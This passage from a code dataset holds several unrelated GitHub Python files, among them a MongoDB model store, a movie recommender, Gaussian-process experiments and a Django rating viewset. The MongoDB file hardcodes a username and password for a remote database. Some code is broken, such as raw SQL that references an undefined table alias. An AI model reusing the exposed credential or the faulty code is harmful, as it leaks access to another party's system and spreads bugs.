ffi.compile()","repo_name":"mineralos/mineralos","sub_path":"package/python-g19-gpio/src/g19/build_gpio.py","file_name":"build_gpio.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"11"} +{"seq_id":"28471283029","text":"import pymongo\nfrom ast import literal_eval as make_tuple\n\n\nclass DbModelInteraction:\n def __init__(self, database_name):\n \"\"\"\n Подключение к базе данных\n\n :param database_name: название БД на сервере\n\t:type database_name: str\n \"\"\"\n self.last_id = -1\n if type(database_name) == str:\n client = pymongo.MongoClient(\"mongodb://virtualperson:genious@virtual-person.ru:27017/?authSource=admin\"\n \"&readPreference=primary&appname=MongoDB%20Compass%20Community&ssl=false\")\n self.db = client[database_name]\n else:\n self.db = database_name\n\n def insert_data(self, model):\n \"\"\"\n Запись модели в базу данных\n\n :param model: модель для записи\n :type model: dict\n \"\"\"\n self.last_id += 1\n self.db['messages_model'].insert_one({\n \"id\": self.last_id,\n 'model': {'temporary': 1}})\n for item in model:\n key = str(item).replace('.', '-dotkey-')\n key = key.replace('$', '-dollarkey-')\n self.db['messages_model'].update({\"id\": self.last_id},\n {\"$set\": {\"model.\" + key: model[item]}})\n\n def extract_data(self):\n \"\"\"\n Чтение модели из базы данных. Работает с последней записанной моделью\n\n :return: последняя записанная в БД модель\n :rtype: dict\n \"\"\"\n model = self.db['messages_model'].find_one({'id': self.last_id})['model']\n print(model)\n model_final = {}\n del model[\"temporary\"]\n for item in model:\n item_copy = item.replace('-dotkey-', '.')\n item_copy = item.replace('-dollarkey-', '$')\n item_tuple = make_tuple(item_copy)\n model_final[item_tuple] = model[item]\n return model_final\n\n\ndatabase = DbModelInteraction('messages_database')\n","repo_name":"Team-Vadim/virtual_person","sub_path":"messages/database_interaction.py","file_name":"database_interaction.py","file_ext":"py","file_size_in_byte":2077,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"9628723239","text":"from typing import Dict, Tuple, Set\n\nfrom src.models.article import Article\nfrom src.evaluation.mention_type import is_coreference\n\n\nclass CoreferenceGroundtruthGenerator:\n @staticmethod\n def get_groundtruth(article: Article) -> Dict[Tuple[int, int], Set[Tuple[int, int]]]:\n if not article.labels:\n return {}\n\n referenced_entities = {}\n entity_to_pronouns = {}\n pronoun_ground_truth = []\n for gt_label in article.labels:\n span = gt_label.span\n entity_id = gt_label.entity_id\n text = article.text[span[0]:span[1]]\n if is_coreference(text):\n pronoun_ground_truth.append(((span[0], span[1]), entity_id))\n for pronoun_span, entity_id in pronoun_ground_truth:\n if entity_id not in entity_to_pronouns:\n entity_to_pronouns[entity_id] = []\n entity_to_pronouns[entity_id].append(pronoun_span)\n\n for gt_label in article.labels:\n span = gt_label.span\n text = article.text[span[0]:span[1]]\n if is_coreference(text):\n referenced_entities[span] = set()\n\n for gt_label in article.labels:\n span = gt_label.span\n entity_id = gt_label.entity_id\n if entity_id in entity_to_pronouns:\n for pronoun_span in entity_to_pronouns[entity_id]:\n # Only add span as potential referenced span, if it precedes the pronoun in the text\n if span[0] < pronoun_span[0]:\n referenced_entities[pronoun_span].add(span)\n\n return referenced_entities\n","repo_name":"ad-freiburg/elevant","sub_path":"src/evaluation/coreference_groundtruth_generator.py","file_name":"coreference_groundtruth_generator.py","file_ext":"py","file_size_in_byte":1640,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"11"} +{"seq_id":"44747074048","text":"from ClassRegistro import Registro\nimport csv\n\n\nclass ListaBidimensional:\n\n def __init__(self, dia, hora):\n self.__ListaBidimensional = [[None for _ in range(hora)] for _ in range(dia)]\n\n def __str__(self):\n print(str(self.__ListaBidimensional))\n\n def agregar(self, dia, hora, re):\n self.__ListaBidimensional[dia - 1][hora] = re\n\n def leerArch(self):\n archivo = open('VariablesMeteorologicas.csv')\n reader = csv.reader(archivo, delimiter=';')\n for fila in reader:\n registro = Registro(int(fila[2]), int(fila[3]), int(fila[4]))\n self.agregar(int(fila[0]), int(fila[1]), registro)\n archivo.close()\n\n def mostrardatos(self):\n for dia in range(len(self.__ListaBidimensional)):\n for hora in range(len(self.__ListaBidimensional[dia])):\n print(f\"Día {dia + 1}, Hora {hora}: {self.__ListaBidimensional[dia][hora]}\")\n\n def menorvalordiayhora(self):\n\n min_temp = min_hum = min_pres = None\n\n for dia in range(len(self.__ListaBidimensional)):\n for hora in range(len(self.__ListaBidimensional[dia])):\n registro = self.__ListaBidimensional[dia][hora]\n if registro is not None:\n if min_temp is None or registro.get_tem() < min_temp.get_tem():\n min_temp = registro\n min_temp_dia_hora = (dia + 1, hora)\n\n if min_hum is None or registro.get_hum() < min_hum.get_hum():\n min_hum = registro\n min_hum_dia_hora = (dia + 1, hora)\n\n if min_pres is None or registro.get_pre() < min_pres.get_pre():\n min_pres = registro\n min_pres_dia_hora = (dia + 1, hora)\n\n print('(Dia: {}, Hora: {}) -> Temperatura Minima: {}'.format(*min_temp_dia_hora, min_temp.get_tem()))\n print('(Dia: {}, Hora: {}) -> Humedad Minima: {}'.format(*min_hum_dia_hora, min_hum.get_hum()))\n print('(Dia: {}, Hora: {}) -> Presión Atmosférica Minima: {}'.format(*min_pres_dia_hora, min_pres.get_pre()))\n\n def mayorvalordiayhora(self):\n max_pres = max_hum = max_tem = None\n\n for dia in range(len(self.__ListaBidimensional)):\n for hora in range(len(self.__ListaBidimensional[dia])):\n registro = self.__ListaBidimensional[dia][hora]\n if registro is not None:\n if max_tem is None or registro.get_tem() > max_tem.get_tem():\n max_tem = registro\n max_tem_dia_hora = (dia + 1, hora)\n\n if max_hum is None or registro.get_hum() > max_hum.get_hum():\n max_hum = registro\n max_hum_dia_hora = (dia + 1, hora)\n\n if max_pres is None or registro.get_pre() > max_pres.get_pre():\n max_pres = registro\n max_pres_dia_hora = (dia + 1, hora)\n print('(Dia: {}, Hora: {}) -> Temperatura Maxima: {} '.format(*max_tem_dia_hora, max_tem.get_tem()))\n print('(Dia: {}, Hora: {}) -> Humedad Maxima: {} '.format(*max_hum_dia_hora, max_hum.get_hum()))\n print('(Dia: {}, Hora: {})-> Presión Atmosférica Maxima: {} '.format(*max_pres_dia_hora, max_pres.get_pre()))\n\n def promMensualTemperatura(self):\n for hora in range(len(self.__ListaBidimensional[0])):\n sumador = 0\n cont = 0\n prom = 0.0\n for dia in range(len(self.__ListaBidimensional)):\n registro = self.__ListaBidimensional[dia][hora]\n if registro is not None:\n sumador += registro.get_tem()\n cont += 1\n prom = sumador / cont\n print('El promedio mensual de temperatura de la hora {} es: {:.1f}'.format(hora, prom))\n\n def mostrarporhora(self, di):\n\n print('|{:^10}| {:^13}| {:^13}| {:^13}|'.format('Hora', 'Temperatura', 'Humedad', 'Presión'))\n print('-' * 57)\n for hora in range(len(self.__ListaBidimensional[0])):\n registro = self.__ListaBidimensional[di - 1][hora]\n if registro is not None:\n print('|{:^10}| {:^13}| {:^13}| {:^13}|'.format(hora, registro.get_tem(), registro.get_hum(), registro.get_pre()))\n\n\n","repo_name":"RocioHeredia/Ejercicio3-Unidad2","sub_path":"ListaBidimensional.py","file_name":"ListaBidimensional.py","file_ext":"py","file_size_in_byte":4357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"37586770363","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('', views.object_view, name=\"tables\"),\n path('search/', views.search, name='search_table'),\n path('create/', views.ObjectCreate.as_view(), name='create_table'),\n path('delete/', views.delete_object, name='object-delete'),\n path('edit/', views.ObjectUpdate.as_view(), name='object-update'),\n]\n","repo_name":"jirobassik/Django_city_info","sub_path":"tables/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"20025261382","text":"import pandas as pd\nfrom scipy.sparse import csr_matrix\nfrom sklearn.neighbors import NearestNeighbors\n\n\ndef rec(movie):\n additional_movies = []\n movies_df = pd.read_csv('movies.csv', usecols=['movieId', 'title'])\n rating_df = pd.read_csv('ratings.csv', usecols=['userId', 'movieId', 'rating'])\n\n df = pd.merge(rating_df, movies_df, on='movieId')\n title_col = []\n\n # To remove date from \"title\" column\n for x in df['title']:\n substring = x[:x.rfind(\"(\") - 1]\n try:\n title_col.append(str(substring))\n except:\n title_col.append(x)\n\n df['title'] = title_col\n\n # drops title from dataframe\n\n combine_movie_rating = df.dropna(axis=0, subset=['title'])\n movie_ratingCount = (combine_movie_rating.\n groupby(by=['title'])['rating'].\n count().\n reset_index().\n rename(columns={'rating': 'totalRatingCount'})\n [['title', 'totalRatingCount']])\n\n rating_with_totalRatingCount = combine_movie_rating.merge(movie_ratingCount, left_on='title', right_on='title',\n how='left')\n rating_with_totalRatingCount.head()\n\n # Computes based off 3 signficant figures\n pd.set_option('display.float_format', lambda x: '%.3f' % x)\n\n # Threshold represents\n popularity_threshold = 14\n rating_popular_movie = rating_with_totalRatingCount.query('totalRatingCount >= @popularity_threshold')\n\n movie_features_df = rating_popular_movie.pivot_table(index='title', columns='userId', values='rating').fillna(0)\n # looks through all movies in title column and fills sparse graph values of 'NAN' with '0'\n\n # Place holder for query index, begins at \"10 Things I Hate About You (1999)\n query_index = 0\n\n # df.shape[0] gives number of rows in data frame\n for ind in range(movie_features_df.shape[0]):\n movie_name = movie_features_df.index.values[ind]\n if movie == movie_name:\n query_index = ind\n\n # convert to matrix for computation of nearest neighbors\n movie_features_df_matrix = csr_matrix(movie_features_df.values)\n\n model_knn = NearestNeighbors(metric='cosine', algorithm='brute')\n model_knn.fit(movie_features_df_matrix)\n\n # gets 15 closest neighbors to movie selected\n distances, indices = model_knn.kneighbors(movie_features_df.iloc[query_index, :].values.reshape(1, -1),\n n_neighbors=10)\n\n for i in range(0, len(distances.flatten())):\n if i == 0:\n format(movie_features_df.index[query_index])\n else:\n title = str('{1}'.format(i, movie_features_df.index[indices.flatten()[i]], distances.flatten()[i]))\n # writes recommended movies to list\n additional_movies.append(title)\n\n df_final = pd.DataFrame(additional_movies)\n return df_final[0].to_string(index=False)","repo_name":"demiiglesias/MovieRecommendationSystem","sub_path":"Item_Item.py","file_name":"Item_Item.py","file_ext":"py","file_size_in_byte":2887,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"9440323802","text":"import time\nfrom gi.repository import GdkPixbuf, Gtk, GLib\n\nfrom kano.utils import run_bg\n\n\ndef add_class(widget, class_name):\n widget.get_style_context().add_class(class_name)\n\n\ndef cb_wrapper(widget, cb1=None, cb2=None):\n if cb2 is not None:\n cb2()\n else:\n cb1()\n\n return True\n\n\ndef scale_pixbuf(pixbuf, scale):\n w = pixbuf.get_width()\n h = pixbuf.get_height()\n\n w_scaled = int(w * scale)\n h_scaled = int(h * scale)\n new_pixbuf = pixbuf.scale_simple(w_scaled, h_scaled,\n GdkPixbuf.InterpType.BILINEAR)\n return new_pixbuf, w_scaled, h_scaled\n\n\ndef scale_image(widget, scale):\n pixbuf = widget.get_pixbuf()\n pixbuf, _, _ = scale_pixbuf(pixbuf, scale)\n widget.set_from_pixbuf(pixbuf)\n return widget\n\n\ndef scale_gif(widget, scale):\n anim = widget.get_animation()\n timestamp = GLib.TimeVal()\n pixbuf_iter = anim.get_iter(timestamp)\n\n max_height = 0\n max_width = 0\n\n pixbufs = []\n\n for i in range(4):\n pixbuf = pixbuf_iter.get_pixbuf()\n pixbuf, width, height = scale_pixbuf(pixbuf, scale)\n pixbufs.append(pixbuf)\n\n if width > max_width:\n max_width = width\n\n if height > max_height:\n max_height = height\n\n # the factor of 1000 is due to conveting from milliseconds to\n # microseconds\n time_to_next_frame = pixbuf_iter.get_delay_time() * 1000\n timestamp.add(time_to_next_frame)\n pixbuf_iter.advance(timestamp)\n\n # This is the animation we want to fill up\n simpleanim = GdkPixbuf.PixbufSimpleAnim.new(max_width, max_height, 10)\n # Set it so it runs in a loop forever\n simpleanim.set_loop(True)\n\n for pixbuf in pixbufs:\n simpleanim.add_frame(pixbuf)\n\n image = Gtk.Image()\n image.set_from_animation(simpleanim)\n return image\n\n\nLEDS_LAST_TRIGGER=0\ndef trigger_led_speaker():\n global LEDS_LAST_TRIGGER\n\n now = time.time()\n if now - LEDS_LAST_TRIGGER > 3:\n run_bg('sudo kano-speakerleds initflow 2 4')\n LEDS_LAST_TRIGGER = now\n\n\ndef desaturate_image(image):\n result = image.get_pixbuf().copy()\n image.get_pixbuf().saturate_and_pixelate(result, 0.0, False)\n return Gtk.Image.new_from_pixbuf(result)\n","repo_name":"KanoComputing/kano-init-flow","sub_path":"kano_init_flow/ui/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2254,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"11"} +{"seq_id":"73776995226","text":"import numpy as np\nimport tensorflow as tf\nimport copy\nimport time\nimport pandas as pd\nimport sys\nimport os\n\nsys.path.append(\"../../\")\n\nfrom svgp_nn_inducing.tf2.kernel.matern import MaternKernel\nfrom svgp_nn_inducing.tf2.kernel.rbf_ard import RBF_ARD\nfrom svgp_nn_inducing.tf2.likelihoods import GaussianLikelihood, BernoulliLikelihood, BernoulliLikelihood_sigmoid\nfrom svgp_nn_inducing.tf2.sgp_vi import SVGP_Titsias, SVGP_NN, SVGP_SOLVE, SWSGP\nfrom svgp_nn_inducing.tf2.utils import get_num_params, save_model, load_model\nfrom svgp_nn_inducing.tf2.callbacks import NBatchCSVLogger\nfrom svgp_nn_inducing.tf2.dataset_generator import BigDatasetLoader\n\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\n\n# tf.config.run_functions_eagerly(True)\n\nnp.random.seed(0)\n\n#### Exapmle ####\n# python dataset num_dataset method (reg or class) (MinMax or MeanStd) GPU_Num\n\n######################## inputs ###############################\ndataset_name = sys.argv[-6]\ni = int(sys.argv[-5])\nmodel_used = sys.argv[-4]\nregression_classification = sys.argv[-3]\nstandardize_input = sys.argv[-2]\nGPU_N = sys.argv[-1]\nos.environ[\"CUDA_VISIBLE_DEVICES\"]=GPU_N\nif regression_classification == 'reg':\n likelihood = GaussianLikelihood()\nelif regression_classification == 'class':\n #likelihood = BernoulliLikelihood(ngh = 50)\n likelihood = BernoulliLikelihood_sigmoid(ngh = 50)\n\nif model_used == \"nn\":\n path_results = \"results/{}/SVGP_NN/\".format(dataset_name)\nelif model_used == 'titsias':\n path_results = \"results/{}/SVGP_Titsias/\".format(dataset_name)\nelif model_used.lower() == 'solve':\n path_results = \"results/{}/SVGP_SOLVE/\".format(dataset_name)\nelif model_used.lower() == 'swsgp':\n path_results = \"results/{}/SVGP_SWSGP/\".format(dataset_name)\n \n \nif not os.path.exists(path_results):\n os.makedirs(path_results)\n\nbatch_size = 100\n\nif regression_classification == 'reg':\n standardize_output = True\nelse:\n standardize_output = False\n\n# Load data\ndataset_loader = BigDatasetLoader(\"../../data/{}\".format(dataset_name), batch_size, shuffle=False, standardize_input = True, standardize_output=standardize_output)\ndata_train = dataset_loader.get_train()\ndata_test = dataset_loader.get_test()\n\ny_mean = dataset_loader.y_mean\ny_std = dataset_loader.y_std\n\n######################## model ###############################\n# We estimate the log length scales\nlog_l = dataset_loader.estimate_lengthscale()\n# kernel = RBF_ARD(log_lengthscales = log_l, log_sigma0 = 0.0, log_sigma = 0.0)\nkernel = MaternKernel(length_scale = 0.0,\n noise_scale = 0.0, output_scale = 0.0, num_dims = dataset_loader.n_attributes)\n\nepoch = 10000\nif model_used == 'titsias':\n hidden_size_n1 = None\n hidden_size_n2 = None\n hidden_layer_n1 = None\n hidden_layer_n2 = None\n num_inducing_points = 1024\n inducing_points = dataset_loader.sample(num_inducing_points)\n inducing_points_prior = copy.deepcopy(inducing_points)\n model = SVGP_Titsias(kernel, likelihood, inducing_points, dataset_loader.n_train, dataset_loader.n_attributes, y_mean, y_std, path_results= path_results)\n file_name = 'experiment_NIP_%d_batchsize_%d' % (num_inducing_points, batch_size)\n print('NIP {}, BS {}'.format(num_inducing_points, batch_size))\nelif model_used == 'solve':\n num_inducing_points_u = 1024\n num_inducing_points_v = 1024\n inducing_points = dataset_loader.sample(num_inducing_points_u+num_inducing_points_v)\n inducing_points_prior = copy.deepcopy(inducing_points)\n inducing_points_u = inducing_points[0:num_inducing_points_u]\n inducing_points_v = inducing_points[num_inducing_points_u:]\n model = SVGP_SOLVE(kernel, likelihood, inducing_points_u, inducing_points_v, dataset_loader.n_train, dataset_loader.n_attributes, y_mean, y_std, path_results= path_results)\n file_name = 'experiment_NIPu_%d_v_%d_batchsize_%d' % (num_inducing_points_u,\n num_inducing_points_v, batch_size)\n print('NIP_h {}, NIP_v {}, BS {}'.format(num_inducing_points_u, num_inducing_points_v, batch_size))\n\nelif model_used == 'swsgp':\n num_inducing_points = 1024\n num_inducing_closest = 50\n inducing_points = dataset_loader.sample(num_inducing_points)\n model = SWSGP(kernel, likelihood, inducing_points, num_inducing_closest, dataset_loader.n_train, dataset_loader.n_attributes,\n y_mean, y_std, n_hidden1=15, n_layers1=2, n_hidden2=15, n_layers2=2, path_results='', seed=0)\n\n\n file_name = 'experiment_NIP_total_%d_closest_%d_batchsize_%d' % (num_inducing_points,\n num_inducing_closest, batch_size)\n print('NIP_total {}, NIP_closest {}, BS {}'.format(num_inducing_points, num_inducing_closest, batch_size))\n\nelif model_used == 'nn':\n hidden_size_n1 = 25\n hidden_layer_n1 = 2\n num_inducing_points = 50\n model = SVGP_NN(kernel, likelihood, num_inducing_points, dataset_loader.n_train, dataset_loader.n_attributes,\n y_mean, y_std, hidden_size_n1, hidden_layer_n1, path_results, dropout_rate=0.0)\n print('H1 {}, L1 {}, NIP {}, BS {}'.format(hidden_size_n1, hidden_layer_n1, num_inducing_points, batch_size))\n file_name = 'experiment_hs1_%d_hl1_%d_NIP_%d_batchsize_%d' % \\\n (hidden_size_n1, hidden_layer_n1, num_inducing_points, batch_size)\n\n\n# Initialize model\nmodel(dataset_loader.sample(batch_size))\n\nnum_pars = get_num_params(model.trainable_variables)\nmodel.summary()\n\nnp.random.seed(0)\n\nfitting = True\noptimizer = tf.optimizers.Adam(learning_rate=1e-4)\n\nif fitting:\n start = time.time()\n model.compile(optimizer=optimizer, run_eagerly=False)\n\n steps_test = int(np.ceil(dataset_loader.n_test / batch_size))\n steps_train = int(np.ceil(dataset_loader.n_train / batch_size))\n\n logger = NBatchCSVLogger(data_test, batch_size, steps_test, path_results + file_name + \".txt\")\n \n history = model.fit(data_train, \n #batch_size=batch_size, \n epochs=epoch, \n steps_per_epoch=steps_train,\n callbacks=[logger]\n )\n save_model(model, optimizer, path_results)\n\n end = time.time()\n\nelse:\n load_model(model, optimizer, model.path_results, which_epoch='latest')\n model.compile(optimizer=optimizer, run_eagerly=True)\n\n\n\n\n","repo_name":"BahramJafrasteh/IDSGP","sub_path":"experiments/big_datasets/run_exp.py","file_name":"run_exp.py","file_ext":"py","file_size_in_byte":6354,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"73775575067","text":"from django.db import transaction\nfrom django.db.models import Q\nfrom rest_framework import status, viewsets, serializers\nfrom rest_framework.decorators import list_route\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.response import Response\n\nfrom crowdsourcing.models import Rating, TaskWorker, Project, RawRatingFeedback, Match\nfrom crowdsourcing.permissions.rating import IsRatingOwner\nfrom crowdsourcing.serializers.project import ProjectSerializer\nfrom crowdsourcing.serializers.rating import RatingSerializer\nfrom crowdsourcing.utils import get_pk\nfrom mturk.tasks import update_worker_boomerang\n\n\nclass WorkerRequesterRatingViewset(viewsets.ModelViewSet):\n queryset = Rating.objects.all()\n serializer_class = RatingSerializer\n permission_classes = [IsAuthenticated, IsRatingOwner]\n\n def create(self, request, *args, **kwargs):\n wrr_serializer = RatingSerializer(data=request.data)\n if wrr_serializer.is_valid():\n wrr = wrr_serializer.create(origin=request.user)\n wrr_serializer = RatingSerializer(instance=wrr)\n if wrr.origin_type == Rating.RATING_REQUESTER:\n update_worker_boomerang.delay(wrr.origin_id, wrr.task.project.group_id)\n return Response(wrr_serializer.data, status=status.HTTP_201_CREATED)\n else:\n raise serializers.ValidationError(detail=wrr_serializer.errors)\n\n def update(self, request, *args, **kwargs):\n wrr_serializer = RatingSerializer(data=request.data, partial=True)\n wrr = self.get_object()\n if wrr_serializer.is_valid():\n wrr = wrr_serializer.update(wrr, wrr_serializer.validated_data)\n wrr_serializer = RatingSerializer(instance=wrr)\n if wrr.origin_type == Rating.RATING_REQUESTER:\n update_worker_boomerang.delay(wrr.origin_id, wrr.task.project.group_id)\n return Response(wrr_serializer.data, status=status.HTTP_200_OK)\n else:\n raise serializers.ValidationError(detail=wrr_serializer.errors)\n\n @staticmethod\n def get_true_skill_ratings(match_group_id):\n ratings = []\n matches = Match.objects.filter(group=match_group_id)\n for match in matches:\n workers = match.workers.all()\n for worker in workers:\n rating = {\n \"task_id\": worker.task_worker.task_id,\n \"worker_id\": worker.task_worker.worker_id,\n \"weight\": worker.mu\n }\n ratings.append(rating)\n return ratings\n\n @list_route(methods=['get'], url_path='trueskill')\n def true_skill(self, request, *args, **kwargs):\n match_group_id = request.query_params.get('match_group_id', -1)\n ratings = self.get_true_skill_ratings(match_group_id)\n return Response(status=status.HTTP_200_OK, data=ratings)\n\n @list_route(methods=['post'], url_path='boomerang-feedback')\n def boomerang_feedback(self, request, *args, **kwargs):\n origin_id = request.user.id\n id_or_hash = request.data.get('project_key', -1)\n ignore_history = request.data.get('ignore_history', False)\n project_group_id, is_hash = get_pk(id_or_hash)\n # project_id = project_group_id\n # if is_hash:\n # project_id = Project.objects.filter(group_id=project_group_id).order_by('-id').first().id\n origin_type = Rating.RATING_REQUESTER\n ratings = request.data.get('ratings', [])\n task_ids = [r['task_id'] for r in ratings]\n worker_ids = [r['worker_id'] for r in ratings]\n task_workers = TaskWorker.objects.filter(\n Q(status__in=[TaskWorker.STATUS_ACCEPTED, TaskWorker.STATUS_SUBMITTED]),\n task__project__owner_id=origin_id,\n task__project__group_id=project_group_id,\n task_id__in=task_ids, worker_id__in=worker_ids)\n if task_workers.count() != len(ratings):\n raise serializers.ValidationError(\n detail={\"message\": \"Task worker ids are not valid, or do not belong to this project\"})\n raw_ratings = []\n for r in ratings:\n raw_ratings.append(RawRatingFeedback(requester_id=origin_id, worker_id=r['worker_id'], weight=r['weight'],\n task_id=r['task_id']))\n with transaction.atomic():\n RawRatingFeedback.objects.filter(task_id__in=task_ids, worker_id__in=worker_ids,\n requester_id=origin_id).delete()\n RawRatingFeedback.objects.filter(requester_id=origin_id, task__project__group_id=project_group_id).update(\n is_excluded=ignore_history)\n RawRatingFeedback.objects.bulk_create(raw_ratings)\n\n raw_ratings_obj = RawRatingFeedback.objects.filter(requester_id=origin_id,\n task__project__group_id=project_group_id,\n is_excluded=False)\n\n all_ratings = [{\"weight\": rr.weight, \"worker_id\": rr.worker_id, \"task_id\": rr.task_id} for rr in\n raw_ratings_obj]\n all_worker_ids = [rr.worker_id for rr in raw_ratings_obj]\n min_val = min([r['weight'] for r in all_ratings])\n max_val = max([r['weight'] for r in all_ratings]) - min_val\n\n rating_objects = []\n\n for rating in all_ratings:\n rating['weight'] = 1 + (round(float(rating['weight'] -\n min_val) / max_val, 2) * 2) if max_val != 0 else 2.0\n rating_objects.append(\n Rating(origin_type=origin_type, origin_id=origin_id, target_id=rating['worker_id'],\n task_id=rating['task_id'], weight=rating['weight']))\n\n Rating.objects.filter(origin_type=origin_type, origin_id=origin_id, target_id__in=all_worker_ids,\n task__project__group_id=project_group_id).delete()\n Rating.objects.bulk_create(rating_objects)\n\n update_worker_boomerang.delay(origin_id, project_group_id)\n\n return Response(data={\"message\": \"Success\"}, status=status.HTTP_201_CREATED)\n\n @list_route(methods=['get'], url_path='list-by-target')\n def list_by_target(self, request, *args, **kwargs):\n origin_type = request.query_params.get('origin_type')\n origin_type = 1 if origin_type == 'worker' else 2\n\n target = request.query_params.get('target', -1)\n rating = Rating.objects.values('id', 'weight') \\\n .filter(origin_id=request.user.id, target_id=target, origin_type=origin_type) \\\n .order_by('-updated_at').first()\n if rating is None:\n rating = {\n 'id': None,\n }\n rating.update({'target': target})\n rating.update({'origin_type': origin_type})\n return Response(data=rating, status=status.HTTP_200_OK)\n\n @list_route(methods=['post'], url_path='by-project')\n def by_project(self, request, *args, **kwargs):\n project_id = request.data.get('project')\n\n origin_type = request.data.get('origin_type', Rating.RATING_REQUESTER)\n target = request.data.get('target')\n weight = request.data.get('weight')\n origin = request.user.id\n if origin_type == Rating.RATING_REQUESTER:\n project = Project.objects.filter(id=project_id, owner=request.user).first()\n worker_id = target\n else:\n project = Project.objects.filter(id=project_id, owner=target).first()\n worker_id = origin\n if project_id is None or project is None:\n return Response({\"message\": \"Invalid project id provided\"}, status=status.HTTP_400_BAD_REQUEST)\n\n tasks = TaskWorker.objects.filter(status__in=[1, 2, 3, 5], worker_id=worker_id,\n task__project__group_id=project.group_id).values_list('task_id', flat=True)\n rating_objects = []\n for t in tasks:\n rating_objects.append(\n Rating(target_id=target, origin_id=origin, task_id=t, weight=weight, origin_type=origin_type))\n Rating.objects.filter(target_id=target, origin_id=origin, task__in=tasks, origin_type=origin_type).delete()\n Rating.objects.bulk_create(rating_objects)\n return Response({\"message\": \"Ratings saved successfully\"})\n\n\nclass RatingViewset(viewsets.ModelViewSet):\n queryset = Project.objects.filter(deleted_at__isnull=True)\n serializer_class = ProjectSerializer\n permission_classes = [IsAuthenticated]\n\n @list_route(methods=['GET'])\n def workers_ratings_by_project(self, request, **kwargs):\n project_id = request.query_params.get('project', -1)\n # noinspection SqlResolve\n data = TaskWorker.objects.raw(\n '''\n SELECT\n r.id id,\n 2 origin_type,\n r.weight weight,\n u.id target,\n u.username username,\n p.owner_id origin,\n COUNT(tw.task_id) AS \"task_count\"\n FROM crowdsourcing_taskworker tw\n INNER JOIN crowdsourcing_task t ON (tw.task_id = t.id)\n INNER JOIN crowdsourcing_project p\n ON (t.project_id = p.id)\n INNER JOIN auth_user u\n ON (u.id = p.owner_id)\n LEFT OUTER JOIN crowdsourcing_rating r\n ON (u.id = r.target_id)\n WHERE (tw.status IN (3, 4, 5) AND o.id = %s)\n GROUP BY\n r.weight,\n p.owner_id,\n r.id\n ORDER BY \"task_count\" DESC, username;\n ''', params=[project_id]\n )\n\n serializer = RatingSerializer(data, many=True, context={'request': request})\n response_data = serializer.data\n return Response(data=response_data, status=status.HTTP_200_OK)\n\n @list_route(methods=['GET'])\n def requesters_ratings(self, request, **kwargs):\n data = TaskWorker.objects.raw(\n '''\n SELECT\n DISTINCT\n (u.username) username,\n 1 origin_type,\n %(worker)s origin,\n r.id id,\n u.id target,\n r.weight weight\n FROM crowdsourcing_taskworker tw\n INNER JOIN crowdsourcing_task t ON tw.task_id=t.id\n INNER JOIN crowdsourcing_project p ON t.project_id=p.id\n INNER JOIN auth_user u ON p.owner_id=u.id\n LEFT OUTER JOIN crowdsourcing_rating r ON u.id=r.target_id\n WHERE tw.status IN (3, 4, 5) AND tw.worker_id=%(worker)s;\n ''', params={'worker': request.user.id}\n )\n serializer = RatingSerializer(data, many=True, context={'request': request})\n response_data = serializer.data\n return Response(data=response_data, status=status.HTTP_200_OK)\n","repo_name":"crowdresearch/daemo","sub_path":"crowdsourcing/viewsets/rating.py","file_name":"rating.py","file_ext":"py","file_size_in_byte":11222,"program_lang":"python","lang":"en","doc_type":"code","stars":147,"dataset":"github-code","pt":"11"} +{"seq_id":"17741965172","text":"class Table:\r\n def __init__(self,long,width, hight):\r\n self.long = long\r\n self.width = width\r\n self.hight = hight\r\nclass KitchenTable(Table):\r\n def chet(self): \r\n summ = ((self.long + self.width) * 2) // 50\r\n return(summ)\r\nclass DeskTable(Table):\r\n def plo(self):\r\n s = self.long * self.width\r\n return(s)\r\n \r\n \r\n\r\n\r\npeople = KitchenTable(3, 10, 8)\r\nprint(people.chet())\r\nplochad = DeskTable(3, 10, 8)\r\nprint(plochad.plo())\r\n\r\n \r\n","repo_name":"Sitych/wednesday18_00","sub_path":"lesson6/классы присваивания.py","file_name":"классы присваивания.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"18589438734","text":"\nclass S:\n\n def __call__(self, nums):\n\n LIS = [1] * len(nums)\n\n for i in range(len(nums) - 1, -1, -1):\n for j in range(i + 1, len(nums)):\n if nums[i] < nums[j]:\n LIS[i] = max(LIS[i], 1 + LIS[j])\n return max(LIS)\nclass SS:\n def __call__(self, nums):\n lis = 0\n length = len(nums) \n def dfs(i, nums): \n if not nums:\n return\n for i in nums: \n newnums = list(filter(lambda x: x != i, nums))\n dfs(i , newnums)\n print(i)\n dfs('', nums)\n#nums = [10,9,2,5,3,7,101,18]\n\nnums = [1,3,5]\nprint(SS()(nums))\n","repo_name":"saisai/exercises","sub_path":"algorithms/neetcode/000/Dynamic_programming/py/longest-increasing-subsequence.py","file_name":"longest-increasing-subsequence.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"74632984026","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Nov 18 14:28:22 2017\n\n@author: loulan\n\"\"\"\n\nimport pandas as pd\nimport os\nfrom itertools import chain\nimport numpy as np\nfrom openpyxl import Workbook # csv to xlsx from stackoverflow\nimport csv # csv to xlsx from stackoverflow\nimport time\n\n# 从原始文件中取前2万行作为测试\ndef selectPartOfAll(path): \n f = pd.read_csv(path,encoding = 